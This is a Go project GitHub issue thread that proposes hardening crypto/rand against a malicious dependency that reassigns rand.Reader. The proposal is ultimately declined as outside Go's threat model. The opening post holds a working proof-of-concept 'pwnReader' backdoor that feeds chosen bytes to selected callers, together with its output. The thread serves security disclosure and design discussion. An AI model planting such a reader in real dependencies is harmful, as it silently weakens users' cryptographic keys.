Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

proposal: crypto/rand: use private reader, not Reader, in Read #42713

Closed
odeke-em opened this issue Nov 19, 2020 · 9 comments
Closed

proposal: crypto/rand: use private reader, not Reader, in Read #42713

odeke-em opened this issue Nov 19, 2020 · 9 comments
Labels
Projects
Milestone

Comments

@odeke-em
Copy link
Member

@odeke-em odeke-em commented Nov 19, 2020

Motivation

One of my clients heavily uses cryptographic primitives and the parts in their Go code heavily call crypto/rand.Reader to get randomness. Their systems are high value by definition, and have big bounties on them, so I have to examine every scenario I can think of. To attack and then mitigate, I crafted a way of controlling the random bytes used heavily by them, and can deploy that in a random dependency down the chain disguised as code that generates Go code in a template (which lots of code out there does)

Problem

As of go tip 5ba1c3f, it is possible for a rogue dependency that hasn't been audited but snuck in, in a chain of massive other dependencies, to simply intercept and control crypto/rand.Reader just by assignment in an init for example https://play.golang.org/p/XD8npXHwIob or inlined below

package main

import (
	"crypto/rand"
	"fmt"
	"io"
	"runtime"
)

type pwnReader struct {
	targetSize int
	hijacked   io.Reader
}

func (pr *pwnReader) Read(b []byte) (n int, err error) {
	if len(b) == pr.targetSize {
		// Backdoor
		_, file, line, _ := runtime.Caller(1)
		// Check the file and line for specific calls within my target
		// and if they match, use the controlled input, otherwise, use hijacked
		_, _ = file, line
		return copy(b, "I am become death, destroyer o wd"), nil
	} else {
		return pr.hijacked.Read(b)
	}
}

var _ io.Reader = (*pwnReader)(nil)

func init() {
	rand.Reader = &pwnReader{32, rand.Reader}
}

func main() {
	sizes := []int{24, 32, 33}
	for _, size := range sizes {
		b := make([]byte, size)
		n, _ := rand.Reader.Read(b)
		fmt.Printf("Size: %d\n%s\n\n", size, b[:n])
	}
}

which prints out

Size: 24
?a?<S???!?<???S?΄?*ǟ?1

Size: 32
I am become death, destroyer o w

Size: 33
??s)3???f??TffL?^??u?!\7?/?Np

particularly when one needs to target a specific size or knowing where code came from

Unix

func init() {
if runtime.GOOS == "plan9" {
Reader = newReader(nil)
} else {
Reader = &devReader{name: urandomDevice}
}
}

Windows

func init() { Reader = &rngReader{} }

Js

func init() {
Reader = &reader{}
}
var jsCrypto = js.Global().Get("crypto")
var uint8Array = js.Global().Get("Uint8Array")
// reader implements a pseudorandom generator
// using JavaScript crypto.getRandomValues method.
// See https://developer.mozilla.org/en-US/docs/Web/API/Crypto/getRandomValues.
type reader struct{}
func (r *reader) Read(b []byte) (int, error) {
a := uint8Array.New(len(b))
jsCrypto.Call("getRandomValues", a)
js.CopyBytesToGo(b, a)
return len(b), nil
}

and Read for all those platforms invoke Reader

Proposal

Let's create an unexported variable in place of Reader, called internalReader which will take the place of platform specific Reader, and then in rand.go, we can make our assignment Reader = internalReader. Sure, a determined attacker could dig and modify the memory of the internalReader given its address, and manipulate its methods, but at least starting by making an assignment difficult is a start and then later on, perhaps for Go2, we could try to work out some sort of non re-assignable non-const.

@gopherbot gopherbot added this to the Proposal milestone Nov 19, 2020
@go101
Copy link

@go101 go101 commented Nov 19, 2020

I agree that lacking support for immutable values is a potential security threat for Go programs.
And I hope immutable values feature could be a Go 2 goal. https://github.com/go101/go101/wiki/Go-immutable-value-proposal-list

@gopherbot
Copy link

@gopherbot gopherbot commented Nov 23, 2020

Change https://golang.org/cl/272326 mentions this issue: crypto/rand: protect Read from attacks due to direct swapping of Reader

@rhcarvalho
Copy link
Contributor

@rhcarvalho rhcarvalho commented Nov 26, 2020

I think this is a duplicate of #24160.

@odeke-em
Copy link
Member Author

@odeke-em odeke-em commented Nov 26, 2020

@ianlancetaylor ianlancetaylor added this to Incoming in Proposals Jan 6, 2021
@rsc
Copy link
Contributor

@rsc rsc commented Jul 28, 2021

Note discussion on https://go-review.googlesource.com/c/go/+/272326/ re attack models.

@rsc
Copy link
Contributor

@rsc rsc commented Jul 28, 2021

This proposal has been added to the active column of the proposals project
and will now be reviewed at the weekly proposal review meetings.
— rsc for the proposal review group

@rsc rsc moved this from Incoming to Active in Proposals Jul 28, 2021
@rsc
Copy link
Contributor

@rsc rsc commented Aug 4, 2021

Quoting @FiloSottile on the CL:

Rogue dependencies are firmly outside the threat model of Go programs. Other things a rogue dependency can do include setting crypto/rsa.ErrVerification to nil, or simply upload a private key from disk to an attacker's server. It's not a battle we ever played. Is there anything special about this particular vector?

Changing may be a compatibility issue too, but it definitely doesn't improve security. It only appears to.

@rsc rsc changed the title proposal: crypto/rand: Read should use an unexported reader and not Reader directly, to mitigate rogue dependencies swapping it by simple replacement/assignment proposal: crypto/rand: use private reader, not Reader, in Read Aug 4, 2021
@rsc
Copy link
Contributor

@rsc rsc commented Aug 11, 2021

Based on the discussion above, this proposal seems like a likely decline.
— rsc for the proposal review group

@rsc rsc moved this from Active to Likely Decline in Proposals Aug 11, 2021
@rsc rsc moved this from Likely Decline to Declined in Proposals Aug 18, 2021
@rsc
Copy link
Contributor

@rsc rsc commented Aug 18, 2021

No change in consensus, so declined.
— rsc for the proposal review group

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
Proposals
Declined
Linked pull requests

Successfully merging a pull request may close this issue.

None yet
5 participants